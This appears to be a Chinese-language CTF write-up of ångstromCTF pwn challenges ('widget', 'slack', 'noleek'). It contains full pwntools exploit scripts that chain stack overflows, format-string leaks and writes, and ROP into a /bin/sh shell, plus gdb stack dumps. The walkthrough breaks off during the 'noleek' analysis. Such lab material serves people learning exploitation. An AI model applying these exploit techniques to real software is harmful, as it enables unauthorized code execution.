          0x404000           0x405000 rw-p     1000   3000 /chal/widget

这个过程中没有其他阻碍了,非常简单,格式化字符串漏洞也没用到。exp如下。

4.3 exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

from pwn import *

import warnings

import subprocess

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

rl      = lambda drop=True          :p.recvline(drop)

rlf     = lambda drop=False         :p.recvline(drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.clear(arch='amd64')

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def dbg():

    gdb.attach(p)

elf = ELF("./widget")

p = process("./widget")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sla(b"Amount: ",str(0x30))

payload = b'a'* 0x20  + p64(0x404500) + p64(0x40130B)

sla("Contents: ", payload)

itr()

image-20230712233109988

这道题用到了proof of work,在上面 exp 的注释中记录了相应的接收发送代码。

4.4 exp2

还有另一种解法,第一次溢出的时候,利用格式化字符串漏洞泄漏libc地址,然后ret覆盖为printf("Amount: ");的地址,绕过called的限制;第二次溢出的时候,ret覆盖为rop链地址,拿到shell,最后cat flag.txt

.text:00000000004013D9 loc_4013D9:                             ; CODE XREF: main+5B↑j <-- 第一次溢出ret选这个地址
.text:00000000004013D9                 mov     cs:called, 1
.text:00000000004013E3                 lea     rax, format     ; "Amount: "
.text:00000000004013EA                 mov     rdi, rax        ; format
.text:00000000004013ED                 mov     eax, 0
.text:00000000004013F2                 call    _printf

这有个问题,libc地址怎么泄漏?栈里应该有libc的地址,那么利用格式化字符串漏洞可以泄漏出来。而且这个地址应该和libc基址的偏移应该是不变的。于是,通过gdb计算出这个偏移,然后泄漏出地址,再一算就能拿到libc基址了。

image-20230713005554605

所以,偏移是0x7ff82fb37a37 - 0x7ff82fa23000

exp如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

from pwn import *

import warnings

import subprocess

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

rl      = lambda drop=True          :p.recvline(drop)

rlf     = lambda drop=False         :p.recvline(drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.clear(arch='amd64')

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def dbg():

    gdb.attach(p)

elf = ELF("./widget")

p = process("./widget")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sla(b"Amount: ",str(0x30))

payload = b'%p  '* 6  + b'xxxxxxxx' + p64(0x404500)+ p64(0x4013D9)

sla("Contents: ", payload)

ru("Your input: ")

leak_data = ru("xxxx").decode()

leak_data_list = leak_data.split("  ")

print(leak_data_list)

leak_libc_addr = int(leak_data_list[2],16)

leak("libc_some_addr", leak_libc_addr)

libc.address = leak_libc_addr - (0x7ff82fb37a37 - 0x7ff82fa23000)

leak("libc_base_addr", libc.address)

rop = ROP(libc)

rop.execve(next(libc.search(b"/bin/sh")), 0, 0)

print(rop.dump())

sla(b"Amount: ",str(0x100))

payload = b'a'* 0x20 + p64(0x404500) + rop.chain()

sla("Contents: ", payload)

itr()

image-20230713005815729

Join the ångstromCTF slack!

该题运行在Ubuntu22的环境中

FROM pwn.red/jail

COPY --from=ubuntu:22.04 / /srv
COPY slack /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run

5.1 运行

这是模拟一个聊天软件?有一个机器人提醒你一些事情?有三次输入的机会。保护全开。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

Welcome to slack (not to be confused with the popular chat service Slack)!

2023-07-13 15:46:16 -- slack Bot:  Hi there! Just wanted to remind you that your weekly team meeting starts in 10 minutes.

Your message (to increase character limit, pay $99 to upgrade to Professional): aaaa

2023-07-13 15:46:16 -- You: aaaa

2023-07-13 15:46:16 -- slack Bot:  Don't forget to fill out your time sheet for the week by 5 pm today.

Your message (to increase character limit, pay $99 to upgrade to Professional): aaaa

2023-07-13 15:46:16 -- You: aaaa

2023-07-13 15:46:16 -- slack Bot:  Just a heads up - the office will be closed on Friday for a company-wide retreat.

Your message (to increase character limit, pay $99 to upgrade to Professional): aaaa

2023-07-13 15:46:16 -- You: aaaa

[*] '/chal/slack'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

5.2 反编译

循环3次,每次都能触发同一个格式化字符串漏洞。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

int __cdecl main(int argc, const char **argv, const char **envp)

{

  unsigned int v3;

  int v4;

  int i;

  __gid_t rgid;

  time_t timer;

  struct tm *tp;

  char s[32];

  char format[40];

  unsigned __int64 v13;

  v13 = __readfsqword(0x28u);

  setbuf(_bss_start, 0LL);

  setbuf(stdin, 0LL);

  rgid = getegid();

  setresgid(rgid, rgid, rgid);

  puts("Welcome to slack (not to be confused with the popular chat service Slack)!");

  timer = time(0LL);

  tp = localtime(&timer);

  v3 = time(0LL);

  srand(v3);

  for ( i = 0; i <= 2; ++i )                     

  {

    strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);

    v4 = rand();

    printf("%s -- slack Bot:  %s\n", s, (&messages)[v4 % 8]);

    printf("Your message (to increase character limit, pay $99 to upgrade to Professional): ");

    fgets(format, 14, stdin);                  

    tp = localtime(&timer);

    strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);

    printf("%s -- You: ", s);

    printf(format);                            

    putchar(10);                               

  }

  return v13 - __readfsqword(0x28u);

}

保护全开,这里也只有格式化字符串漏洞,那就只能想办法覆盖ret了。

1)覆写ret,那首先需要泄漏出栈里存放ret的地址

2)然后,覆盖为rop链的地址,那还需要泄漏出libc基址

所以总体思路:

1)泄漏栈和libc的地址

2)覆写ret为rop链的地址

5.3 调试

5.3.1 泄露栈地址和libc地址

首先,想要通过格式化字符串漏洞泄露栈上的内容,一般都会在输入时敲很多%p,但是注意,这里的每次输入最多14Byte。所以为了方便查看结果,以及不用敲那么多次输入,用脚本:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

from pwn import *

import warnings

import subprocess

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

rl      = lambda drop=True          :p.recvline(drop)

rlf     = lambda drop=False         :p.recvline(drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.clear(arch='amd64')

context.log_level = 'CRITICAL'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def dbg():

    gdb.attach(p)

elf = ELF("./slack")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

for i in range(0x10):

    p = process("./slack")

    sla(b"): ", f"%{i}$p")

    ru("You: ")

    data = rl().strip()

    print(f"{i=} {data=}")

    p.close()

执行两次,结果如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

i=0 data=b'%0$p'

i=1 data=b'0x7fff6f4d5620'    <--- 0x7ff -> 栈地址

i=2 data=b'(nil)'

i=3 data=b'0x7fdc7e7b2a37'    <--- 这个变化有点大

i=4 data=b'0x1c'

i=5 data=b'0x7fffffff'

i=6 data=b'(nil)'

i=7 data=b'(nil)'

i=8 data=b'0x64b18516'

i=9 data=b'0x7f654113a6a0'   <--- 选这个来计算libc地址

i=10 data=b'0x2d37302d33323032'

i=11 data=b'0x35323a3731203431'

i=12 data=b'0x32343a'

i=13 data=b'(nil)'

i=14 data=b'0xa7024343125'

i=15 data=b'(nil)'

i=0 data=b'%0$p'

i=1 data=b'0x7ffe90dc0320'    <---

i=2 data=b'(nil)'

i=3 data=b'0x7f02f86a3a37'    <---

i=4 data=b'0x1c'

i=5 data=b'0x7fffffff'

i=6 data=b'(nil)'

i=7 data=b'(nil)'

i=8 data=b'0x64b18517'

i=9 data=b'0x7f137e5e76a0'    <---

i=10 data=b'0x2d37302d33323032'

i=11 data=b'0x35323a3731203431'

i=12 data=b'0x33343a'

i=13 data=b'(nil)'

i=14 data=b'0xa7024343125'

i=15 data=b'(nil)'

接着,用gdb确认一下这两个index是否是stack和libc的地址,并计算偏移:

1

2

3

4

5

6

7

8

9

10

11

sla(b"): ", "%1$p %9$p")

ru("You: ")

data = rl().strip().decode().split()

some_stack_addr = data[0]

some_libc_addr = data[1]

logsucc("some_stack_addr = " + some_stack_addr)

logsucc("some_libc_addr = " + some_libc_addr)

dbg()

itr()

ret_addr - some_stack_addr = 0x7ffc8fb1e328 - 0x7ffc8fb1c190

libc_base_addr - some_libc_addr = 0x7f35e31bf000 - 0x7f35e33df6a0

image-20230715021206586

验证之后,毛有问题。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

sla(b"): ", "%1$p %9$p")

ru("You: ")

data = rl().strip().decode().split()

some_stack_addr = data[0]

some_libc_addr = data[1]

logsucc("some_stack_addr = " + some_stack_addr)

logsucc("some_libc_addr = " + some_libc_addr)

main_ret_addr = int(some_stack_addr,16) + (0x7ffc8fb1e328 - 0x7ffc8fb1c190)

libc_base_addr = int(some_libc_addr,16) + (0x7f35e31bf000 - 0x7f35e33df6a0)

libc.address = libc_base_addr

leak("main_ret_addr", main_ret_addr)

leak("libc_base_addr", libc_base_addr)

dbg()

itr()

image-20230715021938323

5.3.2 修改变量i的值为一个大负数

还有两次触发机会。接下来需要把一个rop链的地址写到main_ret_addr里,也就是要把一个大数(8字节)写入到某个地址,那这需要一个字节一个字节写。还是那个问题,输入长度有限,不能一次性写长的payload,而现在触发printf的机会也只剩两次了。那可以修改局部变量i为一个负数来增加循环次数,从而增加触发printf的机会。

要覆写i为一个负数,首先来看一下i的地址:

那么泄露i的地址:

1

2

3

i_addr = main_ret_addr - (0x68+8)

leak("i_addr", i_addr)

结果如下:

对于整型变量i来说,其内容为4个字节,

1

2

00     00     00     01

addr+3              addr

要将其值变成负数,最简单的方法就是把最高的一个字节变成0xff(256)。

1

2

(i_addr+3) + "%kc%j$hhn"

  8Byte         最少9Byte

很明显,输入空间不足以支撑。需要另想办法,如下图。

image-20230715171949130

一步一步来,先来看看循环第二次时,call printf时栈的情况:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

......

pwndbg> b *main+402

Breakpoint 1 at 0x145b

pwndbg> r

......

pwndbg> stack 50

00:0000│ rsp 0x7ffe27708e20 ◂— 0x0

01:0008│     0x7ffe27708e28 ◂— 0x1     <--- 这个是变量i

02:0010│     0x7ffe27708e30 ◂— 0x64b26afd

03:0018│     0x7ffe27708e38 —▸ 0x7ff6be6e56a0 (_tmbuf) ◂— 0x2e00000025 /* '%' */

04:0020│     0x7ffe27708e40 ◂— '2023-07-15 09:46:37'

05:0028│     0x7ffe27708e48 ◂— '15 09:46:37'

06:0030│     0x7ffe27708e50 ◂— 0x37333a /* ':37' */

07:0038│     0x7ffe27708e58 ◂— 0x0

08:0040│ rdi 0x7ffe27708e60 ◂— 'BBBBBBBB\n'

09:0048│     0x7ffe27708e68 ◂— 0xa /* '\n' */

0a:0050│     0x7ffe27708e70 ◂— 0x0

... ↓        2 skipped

0d:0068│     0x7ffe27708e88 ◂— 0x1109c51ee9704900

0e:0070│ rbp 0x7ffe27708e90 ◂— 0x1

0f:0078│     0x7ffe27708e98 —▸ 0x7ff6be4eed90 (__libc_start_call_main+128) ◂— mov edi, eax

10:0080│     0x7ffe27708ea0 ◂— 0x0

11:0088│     0x7ffe27708ea8 —▸ 0x55e4931932c9 (main) ◂— endbr64

12:0090│     0x7ffe27708eb0 ◂— 0x100000000

13:0098│     0x7ffe27708eb8 —▸ 0x7ffe27708fa8 —▸ 0x7ffe2770a8dd ◂— '/chal/slack'<---[1]这个,它指向下面的内存[2]

14:00a0│     0x7ffe27708ec0 ◂— 0x0

15:00a8│     0x7ffe27708ec8 ◂— 0xba423f3e3c4e0a1f

16:00b0│     0x7ffe27708ed0 —▸ 0x7ffe27708fa8 —▸ 0x7ffe2770a8dd ◂— '/chal/slack'<---或者这个

17:00b8│     0x7ffe27708ed8 —▸ 0x55e4931932c9 (main) ◂— endbr64

18:00c0│     0x7ffe27708ee0 —▸ 0x55e493195d60 (__do_global_dtors_aux_fini_array_entry) —▸ 0x55e493193280 (__do_global_dtors_aux) ◂— endbr64

19:00c8│     0x7ffe27708ee8 —▸ 0x7ff6be72e040 (_rtld_global) —▸ 0x7ff6be72f2e0 —▸ 0x55e493192000 ◂— 0x10102464c457f

1a:00d0│     0x7ffe27708ef0 ◂— 0x45be71df210c0a1f

1b:00d8│     0x7ffe27708ef8 ◂— 0x45af43a3e6c40a1f

1c:00e0│     0x7ffe27708f00 ◂— 0x7ff600000000

1d:00e8│     0x7ffe27708f08 ◂— 0x0

... ↓        3 skipped

21:0108│     0x7ffe27708f28 ◂— 0x1109c51ee9704900

22:0110│     0x7ffe27708f30 ◂— 0x0

23:0118│     0x7ffe27708f38 —▸ 0x7ff6be4eee40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1ef159]

24:0120│     0x7ffe27708f40 —▸ 0x7ffe27708fb8 —▸ 0x7ffe2770a8e9 ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'

25:0128│     0x7ffe27708f48 —▸ 0x55e493195d60 (__do_global_dtors_aux_fini_array_entry) —▸ 0x55e493193280 (__do_global_dtors_aux) ◂— endbr64

26:0130│     0x7ffe27708f50 —▸ 0x7ff6be72f2e0 —▸ 0x55e493192000 ◂— 0x10102464c457f

27:0138│     0x7ffe27708f58 ◂— 0x0

28:0140│     0x7ffe27708f60 ◂— 0x0

29:0148│     0x7ffe27708f68 —▸ 0x55e4931931e0 (_start) ◂— endbr64

2a:0150│     0x7ffe27708f70 —▸ 0x7ffe27708fa0 ◂— 0x1

2b:0158│     0x7ffe27708f78 ◂— 0x0

2c:0160│     0x7ffe27708f80 ◂— 0x0

2d:0168│     0x7ffe27708f88 —▸ 0x55e493193205 (_start+37) ◂— hlt

2e:0170│     0x7ffe27708f90 —▸ 0x7ffe27708f98 ◂— 0x1c

2f:0178│     0x7ffe27708f98 ◂— 0x1c

30:0180│     0x7ffe27708fa0 ◂— 0x1

31:0188│ r12 0x7ffe27708fa8 —▸ 0x7ffe2770a8dd ◂— '/chal/slack'         <---[2]修改其值,让他指向变量i

因为上面stack命令的结果中,序号是从0开始的,所以,选择的第一个地址的偏移是 0x13+1+5=25,第二个地址的偏移是0x31+1+5=55:

1

2

3

4

5

6

7

8

9

10

    ------------------ 0x7ffe27708e28

01        i           【2"%255c%55$hn" :修改i的最高一个字节为0xff

    ------------------

    ......

    ------------------ 0x7ffe27708eb8

25    0x7ffe27708fa8 

    ------------------

    ......

    ------------------0x7ffe27708fa8

55    0x7ffe2770a8dd  1】f"%{(i_addr + 3) & 0xffff}c%25$hn" :将0x7ffe2770a8dd变成0x7ffe27708e2B

为什么%25$hn改变的是0x7ffe2770a8dd,而不是0x7ffe27708fa8?

因为%n对应的参数是个地址,比如:printf("testtest %n\n", &c);

这里%n对应的参数就是&c,而上面的例子中,对应的参数就是0x7ffe27708fa8,改变的内容自然就是0x7ffe2770a8dd了。

对应脚本如下:

1

2

3

4

5

6

7

8

9

10

11

12

i_addr = main_ret_addr - (0x68+8)

leak("i_addr", i_addr)

print(f"%{hex(i_addr + 3)}")

print(f"%{hex((i_addr + 3) & 0xffff)}")

sa(b"): ", f"%{(i_addr + 3) & 0xffff}c%25$hn")

sla(b"): ", b"%255c%55$hn")

itr()

结果如下,确实变成了一个绝对值很大的负数:

image-20230715181948314

5.3.3 覆写main_ret为rop链

同样因为输入长度限制的原因,覆写main_ret的方法和覆写i的方法一样:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

rop = ROP(libc)

rop.raw(rop.find_gadget(["ret"]))

rop.system(next(libc.search(b"/bin/sh")))

chain = rop.chain()

for i in range(len(rop.chain())):

    payload = chain[i]

    out = f"%{(main_ret_addr + i) & 0xffff}c%25$hn" 

    print(f"{i=} {out=}")

    sa(b"): ", out.encode())

    if payload == 0:

        out = f"%55$hhn"

        print(f"{i=} {out=}")

    else:

        out = f"%{payload}c%55$hhn"

        print(f"{i=} {out=}")

    sla(b"): ", out)

sa(b"): ", f"%{(i_addr + 3) & 0xffff}c%25$hn")

sla(b"): ", b"%55$hhn")

itr()

5.4 exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

from pwn import *

import warnings

import subprocess

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

rl      = lambda drop=True          :p.recvline(drop)

rlf     = lambda drop=False         :p.recvline(drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.clear(arch='amd64')

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def dbg():

    gdb.attach(p)

elf = ELF("./slack")

p = process("./slack")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sla(b"): ", "%1$p %9$p")

ru("You: ")

data = rl().strip().decode().split()

some_stack_addr = data[0]

some_libc_addr = data[1]

logsucc("some_stack_addr = " + some_stack_addr)

logsucc("some_libc_addr = " + some_libc_addr)

main_ret_addr = int(some_stack_addr,16) + (0x7ffc8fb1e328 - 0x7ffc8fb1c190)

libc_base_addr = int(some_libc_addr,16) + (0x7f35e31bf000 - 0x7f35e33df6a0)

libc.address = libc_base_addr

leak("main_ret_addr", main_ret_addr)

leak("libc_base_addr", libc_base_addr)

i_addr = main_ret_addr - (0x68+8)

leak("i_addr", i_addr)

print(f"%{hex(i_addr + 3)}")

print(f"%{hex((i_addr + 3) & 0xffff)}")

sa(b"): ", f"%{(i_addr + 3) & 0xffff}c%25$hn")

sla(b"): ", b"%255c%55$hn")

rop = ROP(libc)

rop.raw(rop.find_gadget(["ret"]))

rop.system(next(libc.search(b"/bin/sh")))

chain = rop.chain()

for i in range(len(rop.chain())):

    payload = chain[i]

    out = f"%{(main_ret_addr + i) & 0xffff}c%25$hn" 

    print(f"{i=} {out=}")

    sa(b"): ", out.encode())

    if payload == 0:

        out = f"%55$hhn"

        print(f"{i=} {out=}")

    else:

        out = f"%{payload}c%55$hhn"

        print(f"{i=} {out=}")

    sla(b"): ", out)

sa(b"): ", f"%{(i_addr + 3) & 0xffff}c%25$hn")

sla(b"): ", b"%55$hhn")

itr()

image-20230715191027262

注意sa 和 sla 的问题,见注释。

My code had a couple of pesky format string vulnerabilities that kept getting exploited...I'm sure it'll fix itself if I just compile with RELRO and take away output...

题目说明很清楚,存在格式化字符串漏洞,但是使用 RELRO 进行编译并删除了输出。

注意做题环境,这道题的环境是[email protected]:98......,我一开始用ubuntu22做题,调试的时候执行到fprintf过不去,会崩掉。

Dockerfile如下:

FROM pwn.red/jail

COPY [email protected]:98d3b4b0cee264301eb1354e0b549323af2d0633e1c43375d0b25c01826b6790 / /srv
COPY noleek /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run

6.1 运行分析

有源码,先看看源码。如下所示,两次输入,然后输出不再是给stdout,而是给了/dev/null

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#include <stdio.h>

#include <stdlib.h>

#define LEEK 32

void cleanup(int a, int b, int c) {}

int main(void) {

    setbuf(stdout, NULL);

    FILE* leeks = fopen("/dev/null", "w");

    if (leeks == NULL) {

        puts("wtf");

        return 1;

    }

    printf("leek? ");

    char inp[LEEK];

    fgets(inp, LEEK, stdin);

    fprintf(leeks, inp);    

    printf("more leek? ");

    fgets(inp, LEEK, stdin);

    fprintf(leeks, inp);    

    printf("noleek.\n");

    cleanup(0, 0, 0);

    return 0;

}

fprintf函数原型:

1

2

3

4

int fprintf(FILE *stream, const char *format, ...)

fprintf(fp, "%s %s %s %d", "We", "are", "in", 2014);

关闭Canary,RELRO是Full RELRO。

1

2

3

4

5

6

7

8

9

10

11

12

leek? aaa

more leek? aaa

noleek.

[*] '/chal/noleek'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      PIE enabled

这道题没有输出,也就不能泄露地址了。利用思路参考上一题,不过区别是本题利用%*c来修改栈里存储的某个指针的低4字节(为什么是4字节?见下面),使其指向存储main_ret的地方。

格式化字符串中*的作用

星号在 printf 格式化字符串中的作用是用于指定动态宽度或精度。在输出字符串时,星号可以通过传递另一参数( int 类型)的方式动态定义输出的宽度或精度。测试格式化字符串中 * 的作用:

1

2

3

4

5

6

7

#include<stdio.h>

void main(){

    printf("%*c", 5, '*');

    printf("\n");

    printf("%.*f", 2, 3.14159);

    printf("\n");

}

  • 第一个输出结果:在宽度为 5 的位置上输出星号字符
  • 第二个输出结果:星号指定了精度为 2,输出结果保留两位小数

6.2 调试

gdb调试,输入AAAAAAAA.%p.%p.%p.%p

  • 存储main_ret的地址是0x7ffc6faf3498
  • rsi,也就是fprintf第二个参数inp的地址是0x7ffc6faf3460
  • fprintf第三个参数vararg的值和rsi一致,也是0x7ffc6faf3460

image-20230716021111567

和上一题一样,在栈里找一个存储了栈地址的地方,算出其偏移(fprintf格式化字符串参数之后的第几个参数)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

pwndbg> stack 30

00:0000│ rdx rsi r8 rsp 0x7ffc6faf3460 ◂— 'AAAAAAAA.%p.%p.%p.%p\n'

01:0008│                0x7ffc6faf3468 ◂— '.%p.%p.%p.%p\n'

02:0010│                0x7ffc6faf3470 ◂— 0xa70252e70 /* 'p.%p\n' */

03:0018│                0x7ffc6faf3478 —▸ 0x55cc237c30a0 (_start) ◂— xor ebp, ebp

04:0020│                0x7ffc6faf3480 —▸ 0x7ffc6faf3580 ◂— 0x1

05:0028│                0x7ffc6faf3488 —▸ 0x55cc242652a0 ◂— 0xfbad2484

06:0030│ rbp            0x7ffc6faf3490 —▸ 0x55cc237c3290 (__libc_csu_init) ◂— push r15

07:0038│                0x7ffc6faf3498 —▸ 0x7f3cd6c26d0a (__libc_start_main+234) ◂— mov edi, eax

08:0040│                0x7ffc6faf34a0 —▸ 0x7ffc6faf3588 —▸ 0x7ffc6faf4f0c ◂— '/chal/noleek' 

09:0048│                0x7ffc6faf34a8 ◂— 0x100000000

0a:0050│                0x7ffc6faf34b0 —▸ 0x55cc237c3195 (main) ◂— push rbp

0b:0058│                0x7ffc6faf34b8 —▸ 0x7f3cd6c267cf (init_cacheinfo+287) ◂— mov rbp, rax

0c:0060│                0x7ffc6faf34c0 ◂— 0x0

0d:0068│                0x7ffc6faf34c8 ◂— 0x8863beef03c1ee55

0e:0070│                0x7ffc6faf34d0 —▸ 0x55cc237c30a0 (_start) ◂— xor ebp, ebp

0f:0078│                0x7ffc6faf34d8 ◂— 0x0

... ↓                   2 skipped

12:0090│                0x7ffc6faf34f0 ◂— 0xdc0327490fa1ee55

13:0098│                0x7ffc6faf34f8 ◂— 0xdd825593bf67ee55

14:00a0│                0x7ffc6faf3500 ◂— 0x0

... ↓                   2 skipped

17:00b8│                0x7ffc6faf3518 ◂— 0x1

18:00c0│                0x7ffc6faf3520 —▸ 0x7ffc6faf3588 —▸ 0x7ffc6faf4f0c ◂— '/chal/noleek'

19:00c8│                0x7ffc6faf3528 —▸ 0x7ffc6faf3598 —▸ 0x7ffc6faf4f19 ◂— 'HOSTNAME=cb420c074f1e'

1a:00d0│                0x7ffc6faf3530 —▸ 0x7f3cd6e0b180 —▸ 0x55cc237c2000 ◂— 0x10102464c457f

1b:00d8│                0x7ffc6faf3538 ◂— 0x0

1c:00e0│                0x7ffc6faf3540 ◂— 0x0

1d:00e8│                0x7ffc6faf3548 —▸ 0x55cc237c30a0 (_start) ◂— xor ebp, ebp

偏移:

  • [2] 8+1+4=13
  • [3] 0x18+1+4=29
  • 加4是因为这里格式化字符串是第二个参数了

如果选[2]这个偏移,格式化字符串可以这样写:

在上面调试记录中,fprintf第三个参数vararg是0x7ffc6faf3460,所以%*c对应的整型值是0x6faf3460。所以,发送payload后,会将地址0x7ffc6faf3588里的内容0x7ffc6faf4f0c改成0x7ffc6faf3460。

而我们的目的是将地址0x7ffc6faf3588里的内容改成存储main_ret的地址,因此还需要计算0x7ffc6faf3460和addr(main_ret)的偏移:

1

2

pwndbg> p/x 0x7ffc6faf3498-0x7ffc6faf3460

$1 = 0x38

其实这里有个隐含要求,就是addr(main_ret)需要大于vararg,因为我们只能在vararg低4Byte的基础上再加字符,好在题目里是满足的。

修改格式化字符串:

下面调试查看结果:

  • call fprintf前:

image-20230716172102163

  • call fprintf后:

image-20230716172207879

0x7ffe48560ed8对于fprintf函数来说,是格式化字符串参数后的第42个参数。

1

2

pwndbg> p (0x7ffe48560ed8-0x7ffe48560db0)/8+1+4

$2 = 42

现在第42个参数已经改成了main_ret的存放地址,那么接下来就是将其改成gadget的地址。

现在栈里找一个距离libc地址近的地址,第16个参数就可以:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

0b:0058│       0x7ffe48560e08 —▸ 0x7fa20b7e57cf (init_cacheinfo+287) ◂— mov rbp, rax

pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

             Start                End Perm     Size Offset File

    0x560a5c98a000     0x560a5c98b000 r--p     1000      0 /chal/noleek

    0x560a5c98b000     0x560a5c98c000 r-xp     1000   1000 /chal/noleek

    0x560a5c98c000     0x560a5c98d000 r--p     1000   2000 /chal/noleek

    0x560a5c98d000     0x560a5c98e000 r--p     1000   2000 /chal/noleek

    0x560a5c98e000     0x560a5c98f000 rw-p     1000   3000 /chal/noleek

    0x560a5e5ef000     0x560a5e610000 rw-p    21000      0 [heap]

    0x7fa20b7c2000     0x7fa20b7e4000 r--p    22000      0 /lib/x86_64-linux-gnu/libc-2.31.so

    0x7fa20b7e4000     0x7fa20b93d000 r-xp   159000  22000 /lib/x86_64-linux-gnu/libc-2.31.so

    0x7fa20b93d000     0x7fa20b98c000 r--p    4f000 17b000 /lib/x86_64-linux-gnu/libc-2.31.so

    0x7fa20b98c000     0x7fa20b990000 r--p     4000 1c9000 /lib/x86_64-linux-gnu/libc-2.31.so

    0x7fa20b990000     0x7fa20b992000 rw-p     2000 1cd000 /lib/x86_64-linux-gnu/libc-2.31.so

    0x7fa20b992000     0x7fa20b998000 rw-p     6000      0 [anon_7fa20b992]

    0x7fa20b99e000     0x7fa20b99f000 r--p     1000      0 /lib/x86_64-linux-gnu/ld-2.31.so

    0x7fa20b99f000     0x7fa20b9bf000 r-xp    20000   1000 /lib/x86_64-linux-gnu/ld-2.31.so

    0x7fa20b9bf000     0x7fa20b9c7000 r--p     8000  21000 /lib/x86_64-linux-gnu/ld-2.31.so

